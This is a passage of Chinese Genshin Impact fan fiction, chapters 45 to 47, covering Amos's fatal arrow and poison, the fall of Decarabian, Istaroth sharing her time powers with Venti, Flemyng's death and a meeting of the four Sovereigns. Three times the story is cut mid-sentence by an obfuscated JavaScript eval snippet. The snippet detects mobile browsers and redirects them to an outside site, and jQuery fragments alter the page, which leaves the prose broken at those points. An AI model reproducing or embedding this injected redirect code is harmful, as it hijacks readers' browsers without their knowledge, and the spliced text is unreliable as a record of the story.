片刻后,阿莫斯推开门,离开了迭卡拉庇安的居室。
门被合上的时候,她下意识抬手擦去了冷汗,还心有余悸地回望了一眼随即紧闭的门。
等她收回视线,又与拾阶而上的伊斯塔露撞了个正着。
“阿莫斯?”
伊斯塔露看上去倒是见怪不怪。
“伊斯塔露,晚安。”
阿莫斯唯恐多说多错,只是向她点头致意,佯装镇定地与之擦肩而过。
伊斯塔露的余光似乎追随了阿莫斯片刻,但也很快收了回去。
伊斯塔露应该没有察觉异样。
阿莫斯舒了口气,沿着旋转的阶梯走下高塔。
.
伊斯塔露推开了迭卡拉庇安的房门,她与屋内一脸烦躁的矜贵青年对视了一眼。
“迭卡拉庇安,如同我之前向你承诺的,我来告知你古恩希尔德家族的下落。”
伊斯塔露率先开口。
“哦……说吧。”
迭卡拉庇安压下焦虑,敲了敲桌子。
伊斯塔露却没有回答,反而轻描淡写地抛出了另一个问题:
“你会杀死他们吗?”
“叛徒也配和我谈条件么?你又为什么这么在意这么几个人?”
迭卡拉庇安神色古怪地挑起眉,视线在伊斯塔露身上逡巡片刻,冷嗤一声。
“惩戒必不可少,但我无意让手指染血。”
“既然如此,”伊斯塔露似乎舒了一口气,“他们栖居在东北的高崖下……”
伊斯塔露说得云山雾罩,愣是让迭卡拉庇安信了几分。
伊斯塔露不动声色地挑起了眉。
她知道,迭卡拉庇安不会相信自己——一个在他眼中来路不明的“魔神”——的话。
但只要他踏出高塔,伊斯塔露便会启动这些天悄悄刻画下的法阵,将高塔孤王封死在高塔中。
而迭卡拉庇安必然无法忍受欺骗,等他重回高塔寻找伊斯塔露之际,温迪会调用「时间」的权能——身在过去时空、藏匿城中的反抗军将回到现在,向孤王的士兵宣战。
.
那一天来得很快。
十余天后,迭卡拉庇安将计就计,押着伊斯塔露离开高塔,去往她所说的地方,寻找古恩希尔德家族。
可在他踏出高塔的瞬间,刻着时间纹样的法阵自高塔下升起,朦胧的白光笼罩了整座箭塔。
迭卡拉庇安立刻意识到自己被摆了一道,他毫不犹豫地将手伸向伊斯塔露的后背。
可他眼前的少女却凭空消失,同样的身影出现在高塔中的天台上。
和赤足少女、红发骑士、少年诗人还有风精灵一起。
迭卡拉庇安毫不犹豫地转身,进入他的高塔。
而高塔外已经传来了号角声和口号声——
“打倒高塔孤王,去看看外面的世界!”
“不要怕,起义军已经有一部分进城了,我看到了!”
“明天!明天!我们要没有眼泪的明天!”
此时,伊斯塔露已经和温迪等人进入了直刺天穹的高塔,在尽最快速度到达顶层。
而迭卡拉庇安也如伊斯塔露所料,甚至无视了她刻下的法阵,立刻赶回了高塔顶层。
迭卡拉庇安怎么可能忍受得了她的欺骗?愤怒之下必有昏招。
“所以才正中下怀。”
红发骑士莱艮芬德如此评价。
他们从未打算避让魔神的伟力,他们要的是——直面迭卡拉庇安,然后杀死他。
哪怕伊斯塔露早已事先表态过:
“出于某些原因,我不便直接对迭卡拉庇安动手,刻下法阵将他束缚在高塔中已经是最大限度了。”
五人小队越过天台,沿着塔内盘旋的阶梯拾阶而上,却被越来越多紧随其后的士兵牵绊住了脚步。
弗莱温头疼地望着身后叫嚣着追来的士兵:
“我们要怎么阻止他们?总不能在挑战迭卡拉庇安之前先杀死同胞吧?”
“我来断后吧。”
阿莫斯忽然开口,她平静地望着脚下乌泱泱的人群。
“你们知道的,我的亲人早已死去,没有谁会为此哀伤。”
在弗莱温要开口拒绝之际,阿莫斯再次开口打断:
“残忍如我,才有杀鸡儆猴阻断他们的能力,对吧,小弗莱?”
随后,她转过头,把弗莱温的张口结舌、莱艮芬德的不认可和伊斯塔露的劝阻都收入眼中,最后,不容拒绝地道:
“就这样吧,你们一定要完成夙愿。”
随后,阿莫斯推了一把最近的弗莱温,孤身一人走向身后的追兵。
犹豫片刻后,莱艮芬德率先拉起踌躇的弗莱温,领着众人向高塔顶层奔去。
“阿莫斯姐姐,我们一定会打败高塔孤王!你撑住,等我们回来救你!”
弗莱温的声音在高塔中不断回响。
等四人远去后,阿莫斯舒了口气。
他们都离开了,没有人会阻止她要做的事情了。
眼见围上来的士兵越来越多,阿莫斯反而不慌不忙起来。
她解下了背后的长弓,怀念地抚摸着蓝白色的弓身,一步步地向天台边缘后退。
这是她家的祖传之物,陪了她将近二十年的老朋友。
而再度拿起这把弓箭时,她仍是冰原上最好的猎手,百发百中的箭矢更是让围攻的士兵也退避三舍。
最后,在天台上,无数士兵围绕着阿莫斯,却始终在她的三尺之外。
他们向阿莫斯发出谴责的质问,她却只是沉默着将箭矢射入靠近者的胸膛。
——直到她的箭筒中只剩下最后一支羽箭。
阿莫斯却视他们于无物,将视线落在了斜上方的迭卡拉庇安身上。
他依旧如同阿莫斯记忆里那样,从未低头看过苍生。
所以就是现在。
阿莫斯将自己的血抹在了最后的箭镞上,将箭矢搭在弦上,用尽全力张开了长弓。
她的箭矢瞄准了——
迭卡拉庇安。
“嗖”地一声,染血的箭矢离弦而出,飞向迭卡拉庇安的心口。
目光追随着箭矢时,阿莫斯想起了小时候母亲讲述的、关于祖传长弓的传说——
「距离心系之物越是遥远,弓箭能爆发出的力量就愈发强大」。
而这一箭,破开了前方狂躁的罡风,直直射向不可一世的「龙卷之魔神」。
阿莫斯从未射出过如此力量惊人的箭矢,可面对着成真的传说,她心中只有苦涩。
她和迭卡拉庇安大人之间,相隔得大概真的很远吧?
偏偏当视线与阿莫斯相撞时,迭卡拉庇安却犹豫了一瞬。
阿莫斯下意识地想着高塔孤王的方向迈了半步。
难道说孤王大人
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16131672|177223||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他……
“唔……”
紧接着,阿莫斯闷哼一声。
扑面而来的仍是不留情面的风刃,它们毫不犹豫地带偏了箭矢,又划过阿莫斯的躯体。
只一瞬间,少女的身体便被切得千疮百孔。
而迭卡拉庇安再也没有看她一眼。
无心、无情,高塔孤王向来如此。
哪怕是围攻阿莫斯的士兵,都不忍见少女霎时变成如此惨状,他们纷纷别开视线,向后退去。
哪怕已经血肉模糊,阿莫斯仍痴痴地望着高塔孤王的方向,她踉跄着跪倒在地,雪白的长发被咳出的鲜血染红。
迭卡拉庇安收回了目光,却忽然抬起手,迟疑地擦去了从嘴角滑下的一点血迹。
迭卡拉庇安能感觉到,似乎自己体内有什么在发作,竟然对他造成了一些微不足道的伤害。
就在阿莫斯的箭矢堪堪擦破他的手臂之后。
迭卡拉庇安居高临下地垂眼,终于看见了那个赤足白发的女猎手。
她曾是他最宠爱的“奴隶”,如今却在被他杀死时,畅快地笑着:
“哈,咳咳,哈哈哈哈哈……”
“迭卡拉庇安……大人,咳咳,我叫阿莫斯,咳,您还会忘记吗?”
阿莫斯给迭卡拉庇安注入了毒。
那是她家族祖传的剧毒,下在那一晚端给他的果蔬里,却不会即刻发作,直到被下毒者沾上她的血。
她不会再做无名的笼中鸟雀了。
这一次,阿莫斯没有逃跑,没有通风报信,也没有再对迭卡拉庇安怀有期待。
她恨高塔孤王,她为自由而来。
此时的其他人,应该已经在她的掩护和伊斯塔露的带领下,直面孤王大人了吧,阿莫斯恍惚着想。
她仿佛已经看见了高□□塌、孤王陨落,没有枷锁的城邦在废墟中诞生。
而她不必去往没有孤王大人的未来,她将与他一同埋葬在过去。
这再好不过了,阿莫斯笑得更加快意,止不住的血从她嘴角滑下。
最后,深爱迭卡拉庇安的少女也与之背道而驰,并自觉死得其所。
或许她对孤王大人并非爱得刻骨,或许对自由的向往早已从骨血中诞生,或许她本就该如箭矢般宁折不弯。
那一箭已经让孤王大人永志不忘,那样震惊的注视是她最好的丰碑。
那荒谬而复杂的爱,终究被她献给了人类的抗争。
将死之际,阿莫斯想起了出城“狩猎”的夜晚,在向高塔孤王报信之前,她和风精灵曾有过一段对话。
当时夜风很凉爽。
“风精灵,若你真能戴冠,又要凭什么胜过迭卡拉庇安大人如今的统治呢?”
“戴冠吗?我没有这个打算啊。”
风精灵望着皓月,不假思索地回答。
“被神明命令的‘自由’,不也是一种不自由吗?”
“我希望自由永远在你们手中。”
那一刻,阿莫斯终于明白了“自由”的意义。
仿若不滞于物的清风,无形而温柔。
于是少女在血流尽之前,颤颤巍巍地伸出手,以血代笔,在高塔的白墙上,刻下了她的墓志铭。
「不自由,毋宁死。」
.
眼看马上就要到达高塔顶层,伊斯塔露却忽然趔趄了半步。
她停下脚步,扶着白墙,两幅毫不相干的景象却在她眼前交替出现。
她看见迭卡拉庇安身形溃散,筑成高塔的纯白砖瓦寸寸崩解,落入底下熊熊燃烧的大火中。
城内风墙不再,可火海席卷,生灵涂炭。
而少年诗人和红发骑士距离迭卡拉庇安太近,在他死亡的瞬间,就被不可控的蛮横力量碾作了尘埃。
眼前的最后一幕,是风精灵在血色的天空下,茫然地看着再无活物的城邦废墟。
少年压抑着哭腔的声音清晰地传入伊斯塔露耳中:
“伊斯塔露,我恨你。”
她也看见自己踏足在漫天飞絮的蒲公英海中,缓缓走向不远处拨着琴弦的少年。
琴声如风轻盈,天空如水澄净,一切安宁得仿佛连时间也在此止步。
而少年骤然回头,冲她粲然一笑,拿走了她掌心的白色三瓣花:
“伊斯塔露,我爱你。”
46.人间一梦(四十六)
伊斯塔露记得,看见「过去」和「现在」的能力已经被分给了温迪。
那她看到的是……未来?
就像废墟和蒲公英海,那重重叠叠的可能性,在命运的奇点重合。
于是未来的两种景象在她眼前展开。
那是即将发生在下一刻的命运。
在废墟中,温迪亲友离散,痛恨无所作为的她。
或是在花海中,温迪拨着琴弦,爱着孑然一身的她。
但这两种未来,伊斯塔露都不希望看到。
刻入骨血的恨意很麻烦,但她更不需要牵绊脚步的爱意。
她在沙漠见过利露帕尔的爱,热烈、疯狂又执着,令人望而却步。
如此想着,伊斯塔露敛起眉眼,随着众人登上了直刺天穹的高塔顶层。
金发青年倚着顶层的栅栏,把玩着手中的风球。
迭卡拉庇安没有正眼看他的挑战者,而是将目光落在队伍末尾的白发少女身上。
伊斯塔露眼皮都没抬,后退了数步,躲开了高塔孤王的目光。
“迭卡拉庇安,你的挑战者不是我。”
“可笑。”
迭卡拉庇安嗤之以鼻。
“若没有你,这些人类如何配与我为敌?”
“哼,未免太过自傲。”
长剑出鞘的铮鸣声伴随着红发骑士的冷嗤响起。
“事实如此。”
迭卡拉庇安的视线依然在伊斯塔露身上,却忽然捏碎了手中的风球。
霎时,狂风从四面八方卷来,硬生生地将高塔孤王面前几人吹得连连后退。
伊斯塔露在风中岿然不动,她无奈地迎上了迭卡拉庇安挑衅的目光,随手在虚空中画了个法阵。
法阵画好的瞬间,几人身侧的朔风骤然被隔绝在外。
“伊斯塔露?”
温迪最先反应过来缘由,他试探地看看伊斯塔露。
“我是不便对他动手,但可以帮你们啊。”
伊斯塔露轻描淡写地说着,却扶着额角趔趄了半步。
废墟,火海,哀哭。
那生灵涂炭的场面又开始在她眼前晃了。
这次甚至没有另一个未来的蒲公英海,坍塌废墟的景象在她面前缓缓展开。
她甚至看到了一闪而逝的、温迪死去的景象。
这大概意味着,命运的天秤已经倾向这个未来。
伊斯塔露本应平静接受这个上天带给人类的结局。
毕竟她对这里的人类能有多少感情呢?
相识数天的时光太过短暂。
何况改变这个未来其实是逆转无数人的生死。
她平常用用时间静止的小把戏倒也无妨,但用它来改变将至的“历史”,同样是对「时间」的违逆。
她在沙漠已经动用过这样的权能,短时间内不可能再启动一次了。
何况还是以此对付「天理」看好的魔神竞争者。
是,本该如此的。
伊斯塔露垂下眼帘,沉默着退到几人身后。
可下一刻,飘渺的声音就在温迪身后响起,像一阵抓不住的风。
“温迪,如果将至的未来是高□□塌、众生陪葬,你还有什么愿望吗?”
是伊斯塔露。
同时,四周的时间渐渐沉淀下来,人与物都变得模糊,只剩下相对而视的风精灵和白发少女。
风精灵转过身,看见向来熟悉的神女身着华服与冠冕,神色淡漠而陌生。
温迪记忆里的伊斯塔露性格虽然疏淡,却从未有过如此冷漠的神态。
“我的愿望吗?”
风精灵毫不认生地绕着伊斯塔露头顶的天环飞了一圈。
“伊斯塔露,我想把人类的命运交给他们。”
伊斯塔露冲着远方的图景遥遥一指。
“哪怕是这些在千百年后也会化为尘埃?”
温迪顺着她手指的方向望去,看见天空的云层幻化出繁荣的宫殿、楼阁,随后,它们如尘沙般散去。
他见过这些,那是「时间」记录的“过去”和“现在”。
“在漫长的时间里,人类的文明诞生又消亡,从来没有不灭的繁荣。”
记载万物的神女向着天空抬手,指间掠过旧日的画卷,神色似乎也有些惘然。
“兴盛之后迎来灭亡,这就是你今日不顾一切也想要追求的吗?”
温迪的声音轻盈,也毫不迟疑。
“嗯,至少那是他们自由选择的结果。”
“哪怕磨损降临你身?”
“我愿以此身作为一切未来的转机。”
风精灵飞到伊斯塔露眼前。
最后,身着华服的神女闭上眼,缓缓呼出一口气:
“温迪,你的愿望,我明白了。”
若他心中只有向往,即使能打动伊斯塔露,也不足以让「时之执政」投下目光。
唯有那“明知不可为而为之”的抗争精神,唯有追求自由本身,才足以得到来自神明的注视。
温迪愿意成为转机,伊斯塔露对抗「天理」的弈局也需要转机。
私心而言,伊斯塔露不愿意将风精灵牵扯其中;但她同样清楚,由「时之执政」创造的风神,难以在「天理」目下难以独善其身。
伊斯塔露大概明白了,为何自己之前看到人类模样的温迪说,他在未来等她。
是某个时间节点的她,也在赌这一个转机吧。
那是微末的希望,是与时间一般无处不在又生生不息的风。
刻印着时刻纹样的法阵在两人脚底缓缓浮现,零碎的星光从法阵中升起,伊斯塔露睁开眼,在风中与风精灵相对而视。
“我本身已经在太多地方留下痕迹,便以此身作为记载万物的「时刻」。”
“温迪,你愿意用风带来生命的流动,与我一样作为「时间」的一部分吗,温迪?”
“好啊,如果我的愿望能实现的话。”
温迪似乎思虑了许久,最后,语调轻快地应下。
“温迪,若凡事皆有代价……”
伊斯塔露有些无奈地叹气,想让风精灵知道,获得属于「时之执政」的权能并非没有代价。
“可是不管你要做什么,我都愿意帮你哦。”
风精灵绕着伊斯塔露又飞了一圈。
“这也是我的愿望。”
伊斯塔露长长地叹息了一身,摸了摸风精灵的脑袋。
而她脚底的法阵也骤然变化,其中六枚时刻刻度从中剥离,顺着风的托举,落在了风精灵身上。
刻度环绕着温迪,最后融入他体内。
风与星光环绕在二人之间。
伊斯塔露飘渺的声音为这一刻落下注脚。
“从此,我和你,时与风,皆是此世历史的见证者,是无时无刻无所不在之神。
至此,「时间」的权能一分为二,分别为温迪与伊斯塔露所有。
伊斯塔露伸手将风精灵推向天空。
“代我在此尘世,传颂历史,然后去做我做不到的事吧。”
未来会改变的吧。
伊斯塔露相信,拥有她一半的权能的温迪,会带来不一样的黎明。
……当然,至于蒲公英海的那个未来,还是没必要了。
风精灵却笑吟吟地回头看她:
“诶,这么说我也要履行「时之执政」的职责吗?”
“嗯?”伊斯塔露怔愣片刻,随口应道,“是啊。”
温迪揶揄地笑了。
“伊斯塔露,你真的不是想摸鱼吗?”
“说什么呢,没有啊。”
一语点醒梦中人,伊斯塔露觉得自己是该给温迪找点欺骗「天理」的活来干了。
“哦——那伊斯塔露,那这段历史要记录下来吗?”
温迪眨了眨眼。
“七分真三分假吧,毕竟是走关系这种事……可以借你说的千风神殿做做文章?”
伊斯塔露摇了摇头。
“但是,使用「时间」的权能并非没有代价,也不能挽回已经逝去的生命。”
温迪却没有丝毫的犹豫。
“伊斯塔露,我会将我的愿望奉献给时间,连带着所有人对自由的向往和抗争。”
“来争取
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16141843|177223||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一个没有眼泪的明天。”
“好。”
伊斯塔露点头,抬手释放了停滞的时间。
此时残阳如血,风墙内却只能看到暮色昏沉。
因为伊斯塔露的干预,迭卡拉庇安终于摩拳擦掌,呼唤了强横的烈风。
莱艮芬德已经在强风的击打下遍体鳞伤,却还是勉勉强强帮刚回神的温迪挡住了一道风刃。
弗莱温更是已经半跪在地,却还死死地盯着围城的风墙。
可紧随其后的是更加迅疾的风,招招致人于死地。
温迪飞到了迭卡拉庇安面前,向着无视他的高塔孤王伸出了手。
时钟的“嘀嗒”声在虚空中响起,温迪听到了城中人自古以来的愿望。
「我想要在冰雪中活下去。」
「我想要不再受冷眼的生活。」
「不自由,毋宁死。」
「我想看见飞鸟翱翔的模样。」
人类的意志让「时间」的力量流转。
六枚时刻刻度在风精灵脚下亮起,前所未有的力量自法阵中迸发,直指不可一世的高塔孤王。
有什么能阻止将至的命运呢?
从「时间」中争取的、重塑未来的转机。
「时间」从不会为任何人停留,连「时之执政」也无法从宏大的历史中挽回哪怕一秒。
可人类的意志创造了奇迹。
微末的愿望凝聚成了时间的洪流,最后都变为指向迭卡拉庇安的剑锋。
将骑士与诗人刮得遍体鳞伤的狂风在此刻变得不堪一击,被无情的「时间」侵蚀得一干二净。
在迭卡拉庇安惊讶之际,他自身也被这样的力量侵蚀得千疮百孔。
高塔孤王的残躯跪倒在地。
温迪难以置信地看着重伤倒地的迭卡拉庇安。
迭卡拉庇安……有这么弱吗?
温迪下意识去看伊斯塔露,白衣的神女却状似平静地移开目光。
其实伊斯塔露也没想到自己的权能可以做到这种程度。
这种力量无情又强横,提醒了伊斯塔露,她作为「天理」影子的身份。
思绪至此,伊斯塔露也不愿再想,她越过温迪,走向垂死的迭卡拉庇安,蹲下身:
“迭卡拉庇安,正如我所说,挑战你、打败你的不是我。”
“呵。”
血沫从青年模样的魔神口中溢出,他绝望又失焦地望着逐渐溃散的风墙、扑面而来的飞雪和远方的残阳。
“我不知道,我不知道他们为什么如此恨我……”
随后,迭卡拉庇安的声音传入城中每个人的耳中。
“有遮蔽风雪的生存之处,还不够吗?那你们到底要什么……”
伊斯塔露没有回答,她审视着至死仍不曾正视人类的魔神。
可迭卡拉庇安没有再挣扎,临死之际,他释然般喟叹了一声:
“好吧,我给你们自由。”
于是,围绕着城邦的风墙彻底消散,而城外也没有飞鸟,而是极寒和风雪,但也有许多人从未见过的夕阳。
伊斯塔露神色复杂地收回了目光。
迭卡拉庇安和沙克斯一样,她并不同情他们的结局,但也不可否认他们临终释怀的善。
而在迭卡拉庇安说出“给你们自由”的同一刻,阿莫斯死去的天台上,一名被女猎手射穿肩胛的士兵痛号一声,骤然挽弓,瞄准了伊斯塔露的后背!
伊斯塔露却仍恍若不知一般,背对着那名士兵。
她自然知道身后有什么,但如果真的能被这支箭矢射中,她也可以洗洗睡了。
在她的预想中,箭矢会在她身后停下,然后掉落在地。
可她却听见箭矢没入血肉的声音。
伊斯塔露骤然回头,看见少年诗人挡在自己背后,他的胸膛被锋利的箭矢完全贯穿。
“……弗莱温?!”
伊斯塔露的声音变了调。
“对不起,没来得及提醒你……”
血从弗莱温的嘴角不断溢出,他却对伊斯塔露扯出一个难看的笑容。
“别担心,我没事的……”
47.人间一梦(四十七)
“别说话,弗莱温。”
伊斯塔露伸手拉住了险些倒地的弗莱温,将另一只手伸向他的胸口,她的掌心散发出柔和的白光。
于是横贯少年胸口的箭矢顷刻间化为飞灰,本该致命的伤口也以不可思议的速度开始愈合。
伊斯塔露无声地松了口气。
只要弗莱温还没有到达死亡的临界点,倒流的时光便能将他拉回……
她的想法因为随后的一道雷光彻底破灭。
万里无云的天空中,毫无征兆的惊雷落下。
它巧妙地躲开了其余众人,也穿过了伊斯塔露以静止的时间凝成的空间,将少年的胸口彻底贯穿。
是「天理」的雷光。
和数百年前一模一样。
弗莱温甚至没有力气伸手捂住被雷电贯穿的伤口,他的嘴唇哆哆嗦嗦,似乎想说什么,却只能发出痛苦的气声。
温迪和莱艮芬德下意识地望向雷光来处,却只见到湛湛青天。
而伊斯塔露掌心的白光缓缓消散,她颤抖着闭上了眼。
从移霄导天真君死的时候她就知道,「时间」无法挽救已经被判定为死亡的生命。
那究竟是弗莱温的死无可避免,还是「天理」在……杀鸡儆猴?
片刻后,伊斯塔露抬起头,向着惊雷落下的方向,平静地垂下头,低声呢喃:
“请恕罪,擅自使用权能,是我僭越。”
如果是四百年前,她会咬着牙、怨恨地看着天空。
可现在,她深知明面上的叛逆毫无作用——比如她并未杀死归终,这些「天理」都知道,祂会迟早向她讨回来。
“别,咳咳,别难过……”
忽然,倒在伊斯塔露怀中的少年诗人艰难地开口,却喷出一嘴血沫。
临死之际,他向着再无疾风的天空,缓缓弯起眉眼。
“飞吧,飞吧,飞到高天之上。”
“代我看看这个世界。”
随后,少年猝然闭上双眼。
谁也不知道弗莱温的遗言到底是留给谁的。
或许是向往自由的每一个人。
与此同时,风涡从迭卡拉庇安的遗体中凝聚,高塔开始倾斜,大地也摇晃不止,远处树冠上的积雪尽数抖落。
制霸一方的魔神死亡,将会引起诸国动荡、,这也是伊斯塔露看到火海和废墟的原因。
所以当初征伐魔神,往往需要摩拉克斯亲自出征——需要他来压下魔神死后的影响。
而这一次,在伊斯塔露的影响下,未来已经改变。
——时刻的刻度再次在风精灵身后浮现而出,以「时间」为基础的巨大屏障展开,笼罩了整个城邦,所有动荡在顷刻间静止。
连高□□塌都变得缓慢,让塔中的士兵得以逃生,让塔顶的红发骑士和白发少女得以平稳落在废墟之中。
迭卡拉庇安死后的影响在城中消弭于无形。
随后,一点灵光从迭卡拉庇安的遗体中飞出,钻入风精灵体内。
莱艮芬德眼尖,他的视线始终跟随着那道灵光:
“这是什么?”
伊斯塔露平静而空灵的声音在他身后响起:
“是魔神之格,迭卡拉庇安体内的魔神之格选择了温迪,他会成为新的魔神。”
从此,旧的魔神陨落,失去友人的新魔神在废墟中诞生。
就像笔记里记载的那样,从未偏离。
同时,获得魔神之格的温迪被刺目的白光所笼罩,看不清模样,伊斯塔露只能听见他的声音:
“伊斯塔露,你的意思是……迭卡拉庇安那份属于「风」的权能,如今也能为我所用了吗?”
“不出意外的话,是的,温迪。”
“嗯……那很好。”
温迪似乎笑了一声,却听不出多少愉悦。
而后,白光散尽,黑发的少年站在伊斯塔露面前。
他与弗莱温无比相似,唯有眼中纯澈的天青色告诉伊斯塔露——
这是温迪。
“唉,伊斯塔露,我……”
温迪神色复杂地看着伊斯塔露与已死的弗莱温,轻轻地叹了一口气。
可他没有再沉浸于悲伤,少年模样的魔神展开羽翼,飞向高天。
随后千风骤起,掠过整片冰原,削去了料峭的山峰,填入远方的海床,将其变作零散的岛屿。
覆盖了此地千年的冰雪,也在疾风的吹拂下尽数消散,温暖的季风带来了南方的暖流,从此冰雪消融、四季如春。
无需风墙阻拦风雪,也不必用高塔禁锢自由。
城中的人们顺着风向极目远眺,发出惊喜的呼喊:
“看啊,风雪停了!”
“我看到了,有人吹散了风雪!”
囚困人类自由的腐朽锁链,也随着风雪一同被吹散。
温迪想要的,是所有人能够无拘无束地活着,不必为任何外物阻拦。
就像现在这样,就像弗莱温所期待的那样。
温迪望向遥远的高天,用那双如天空般的眼睛。
那是自由的颜色。
新诞生的魔神收起羽翼,在城外的森林中落下,却被巨狼拦住了去路。
温迪轻轻地叹了口气,仰望北风的狼王:
“安德留斯,你要与我决斗吗?不要啊,我只是狐假虎威的风精灵。”
“不,风精灵,你明明知道我不是为此而来,你远比我更适合统治这群人类。”
狼王不满地甩了甩头。
“我不喜欢人类,也无心争权,我会放弃我的生命,融入地脉,让你成为魔神战争里,这片冰原最后的胜利者。”
“只希望我没有看走眼,顽皮的风精灵,你要善待我的狼群。”
……最后的胜者吗?
温迪遥望着再无风墙的城邦。
可他并没有感觉到喜悦。
他更想要所有人都能看见这样的青天。
温迪苦笑着答应了北风狼王最后的请求,却纠正了它的话语:
“谢谢你对人类的爱,哪怕你并不承认。”
“但不会有谁统治人类的,安德留斯。”
“我以‘自由’祝颂他们,惟愿自由无冕。”
“随你。”
安德留斯冷哼一声,随后发出悠长的长啸,它的形体渐渐溃散,狼形的魂灵脱离躯壳,飞向森林深处。
“那再见了,「北风之魔神」,向你致以最崇高的敬意。”
温迪向着森林躬身行礼,随后,在四周人的欢呼中走入城中。
温迪在城中找到了莱艮芬德,在询问了城中的情况后,他又问起伊斯塔露的行踪。
“她?她消失了。”
莱艮芬德言简意赅地道。
“欸?怎么会?”
“就像我所说的,她凭空消失在了我眼前。”
“伊斯塔露说,事关弗莱温之死,她对不起我们,无颜再见。但她留下了这个木琴,托我带给你。”
莱艮芬德将木琴递给温迪,琴上缀着温迪曾向伊斯塔露提起的塞西莉亚花。
“她说,这是送给你的礼物,琴的名字留给你取。”
少年模样的魔神接过木琴,却难掩憾色地垂下头。
又是这样,温迪失落地想,其实他没有想责怪伊斯塔露一分,可她又无声无息地消失了,和之前在沙漠时一样。
伊斯塔露行走尘世,从来没有想过停下脚步,也从来没有在意过谁会因此难过或是遗憾。
.
不属于「提瓦特」的子空间中。
伊斯塔露站在星海中的金阶上,平静地垂下眼帘,与她那位数百年未见的同事对视。
——「死之执政」若娜瓦。
在安德留斯死去的刹那,魔神战争宣告结束,伊斯塔露便收到了若娜瓦喊她开会的消息。
而历经了沙漠那次审讯,她已经能应付她这位还算公事公办的同事了。
“来了啊,伊斯塔露。”
片刻后,若娜瓦不咸不淡地向她点点头。
「生之执政」纳贝里士则早在对面的金阶边坐下。
听到渐近的脚步声,她连眼睛都没抬,却向对面的神女挥了挥手:
“好久不见咯,伊斯塔露。”
伊斯塔露的目光地从她身上一扫而过:
“嗯,好久不见。”
若娜瓦撩起身后的头纱,在金阶上落座:
“现在就剩阿斯莫代了,等等吧。”
不消片刻,黑红色的四芒星出现在若娜瓦对面的金阶上,随后缓缓扩张,延伸成一扇撕裂空间的门扉。
白发的桀骜神女从中走出。
她扫了一眼许久未见的三人,最后将目光落在若娜瓦身上,毫不客气地挑眉询问:
“若娜瓦,你这伤怎么回事?”
伊斯塔露悄无声息地打量着阿斯莫代。
那位被形容为“一身反骨”的、她的最后一位同事——「空之执政」。
“还能怎么样?若娜瓦干预魔神战争的手段太糙了,被「天理」发现后施以惩戒了……”
纳贝里士轻快地笑了一声,抢先回答,像是幸灾乐祸。
听到“惩戒”二字,若娜瓦打了个寒噤,像是想起了什么不愿回忆的东西,她蹙着眉打断道:
“……纳贝。
“怎么这个表情?我可没有幸灾乐祸的意思哦,我只是指出「天理」的手段。”
纳贝里士无所谓地摊开手,意味深长的目光落在伊斯塔露身上。
“顺便借此警示一下阿斯莫代和……伊斯塔露。”
阿斯莫代不耐地摆了摆手,轻嗤道:
“我有分寸。纳贝,你絮絮叨叨不累么?”
伊斯塔露则摆出一副事不关己的模样。
“……嗯,我知道。”
其实只有伊斯塔露自己清楚,即使多了数百年阅历,她还是会因为纳贝里士那种戏谑又通透的语调而忐忑。
何况教她创生温迪的那本书,还是纳贝里士送给她的。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16162643|177223||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
若娜瓦轻咳一声,出言提醒自己这三位不怎么靠谱的同事。
“数百年才照例开个会,阿斯莫代,多些耐心听完。”
“好好好,知道了。”
“纳贝里士,接下来少碎嘴些,等会议结束再抱怨。”
“说什么话呢?怎么可以说我碎嘴呢?”
“伊斯塔露,你也不要总是事不关己的样子,有什么话早点说。”
“……我尽量吧。”
“魔神战争已经落幕,谁将那些魔神推举上位,我们都清楚。”
“雷之权与阿斯莫代,水之权与纳贝里士,草、岩、风之权与伊斯塔露,冰之权……你们也有数。”
“至于我……你们知道的,我无意这些,掠过不提。”
“我们干预得太多,上面大概是不满意的,所以若是有什么事,我们得过且过就是,毕竟本就理亏。”
伊斯塔露盘算了一下若娜瓦的话。
她真正有意保下的只有温迪,所谓岩与草,大概是因为她曾在归离集和沙漠露过面,所以被如此划分。
而纳贝里士嘴角挂上一抹讥讽的笑容。
“所以这次的会议,主要是由若娜瓦你代为转达「天理」对我们的警告?”
“规则我当然会遵守,只是这太没意思了些。”
纳贝里士站起身,向其余三人点点头,毫不犹豫地转身离开了子空间。
“我就先走一步咯。”
阿斯莫代也紧随其后,站起了身。
“我不认可纳贝里士的絮絮叨叨,但这种代为转达的警示,我也懒得奉陪。”
黑红色的四芒星再度撕裂空间,带着阿斯莫代远去。
伊斯塔露倒还懒懒散散地坐在金阶上,感受到若娜瓦的视线,她叹了口气:
“唉,若娜瓦,你要是想说完,我会听的。”
若娜瓦摁着太阳穴摇头。
